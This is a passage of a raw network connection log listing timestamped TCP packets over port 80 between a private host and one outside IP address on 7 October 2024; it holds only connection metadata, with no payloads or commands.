Oct 7, 2024 18:00:26.555455923 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.555465937 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.555475950 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.555481911 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.555485010 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.555495977 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.555505037 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.555515051 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.555515051 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.555525064 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.555541039 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.555563927 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.555566072 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.555577040 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.555587053 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.555615902 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.555668116 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.557162046 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.557173014 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.557183027 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.557233095 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.557274103 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.557285070 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.557295084 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.557306051 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.557321072 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.557339907 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.558459997 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.558528900 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.558569908 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.558581114 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.558619976 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.558960915 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.558970928 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.558979988 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.558989048 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.559017897 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.559035063 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.559173107 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.559182882 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.559197903 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.559221983 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.559240103 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.559478045 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.559490919 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.559500933 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.559510946 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.559536934 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.559566021 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.630721092 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.630733967 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.630748034 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.630788088 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.630829096 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.630865097 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.630906105 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.631031990 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.631042004 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.631052971 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.631062031 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.631071091 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.631097078 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.631160975 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.631213903 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.631252050 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.631262064 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.631292105 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.631563902 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.631575108 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.631586075 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.631596088 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.631602049 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.631618023 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.631645918 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.631793022 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.631803989 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.631817102 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.631828070 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.631828070 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.631839037 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.631844997 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.631866932 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.631891966 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.631897926 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.631907940 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.631917953 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.631936073 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.631963015 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.632651091 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.632697105 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.632838011 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.632847071 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.632858038 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.632868052 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.632878065 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.632883072 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.632889032 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.632908106 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.632911921 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.632929087 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.632955074 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.634295940 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.634306908 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.634318113 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.634356976 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.634385109 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.634793043 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.634804010 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.634813070 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.634824038 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.634841919 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.634869099 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.635276079 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.635339975 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.635442972 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.635453939 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.635463953 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.635468960 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.635478973 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.635485888 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.635488987 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.635499954 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.635510921 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.635550976 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.635648966 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.635658979 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.635670900 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.635680914 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.635689020 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.635690928 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.635701895 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.635711908 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.635741949 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.636560917 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.636571884 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.636583090 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.636611938 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.636620045 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.636631012 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.636635065 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.636646986 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.636657953 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.636665106 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.636694908 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.636718988 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.636785030 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.636795044 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.636806011 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.636816978 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.636827946 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.636827946 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.636843920 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.636846066 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.636854887 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.636873960 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.636892080 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.637026072 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.637037039 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.637048006 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.637061119 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.637063026 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.637073994 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.637084007 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.637092113 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.637094021 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.637125969 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.637144089 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.638430119 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.638439894 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.638452053 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.638478994 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.638495922 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.638508081 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.638518095 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.638535023 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.638544083 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.638545990 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.638555050 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.638562918 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.638581991 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.638608932 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.638653994 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.638658047 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.638659954 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.638662100 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.638668060 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.638700962 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.638729095 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.638760090 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.638798952 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.639292955 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.639343023 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.639353991 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.639353991 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.639378071 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.639404058 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.639431000 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.639441013 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.639451027 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.639461040 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.639465094 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.639470100 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.639481068 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.639513016 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.640629053 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.640639067 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.640649080 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.640681028 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.640706062 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.640712023 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.640722036 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.640732050 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.640742064 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.640748978 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.640749931 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.640774965 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.640804052 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.642206907 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.642215967 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.642226934 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.642262936 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.642294884 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.642427921 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.642437935 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.642448902 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.642458916 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.642473936 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.642503023 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.642784119 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.642792940 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.642802954 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.642827988 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.642844915 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.642863035 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.642874002 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.642883062 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.642899036 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.642901897 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.642919064 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.642946005 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.643001080 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.643037081 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.718815088 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.718894005 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.718907118 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.718930960 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.718970060 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.718997002 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.719008923 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.719022036 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.719033003 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.719039917 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.719047070 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.719069004 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.719098091 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.719171047 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.719207048 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.719223022 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.719233990 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.719259977 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.719269037 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.719275951 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.719281912 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.719296932 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.719314098 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.719341040 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.719355106 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.719371080 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.719392061 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.719402075 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.719405890 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.719408989 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.719430923 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.719446898 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.719573975 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.719585896 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.719597101 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.719610929 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.719618082 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.719646931 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.719759941 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.719799042 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.720808029 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.720860004 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.720963001 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.720973969 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.720988035 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.721008062 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.721034050 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.721048117 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.721060991 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.721079111 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.721085072 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.721091032 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.721102953 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.721122980 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.721848011 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.721858978 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.721863985 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.721941948 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.722018957 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.722028971 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.722039938 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.722058058 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.722063065 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.722081900 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.722081900 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.722093105 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.722110987 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.722127914 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.723155022 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.723174095 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.723186970 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.723206043 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.723243952 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.723277092 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.723290920 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.723303080 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.723315954 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.723323107 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.723339081 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.723362923 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.723412991 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.723431110 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.723442078 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.723452091 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.723453999 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.723469019 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.723469973 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.723489046 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.723510981 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.723956108 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.723968029 CEST	80	49718	46.8.231.109	192.168.2.6
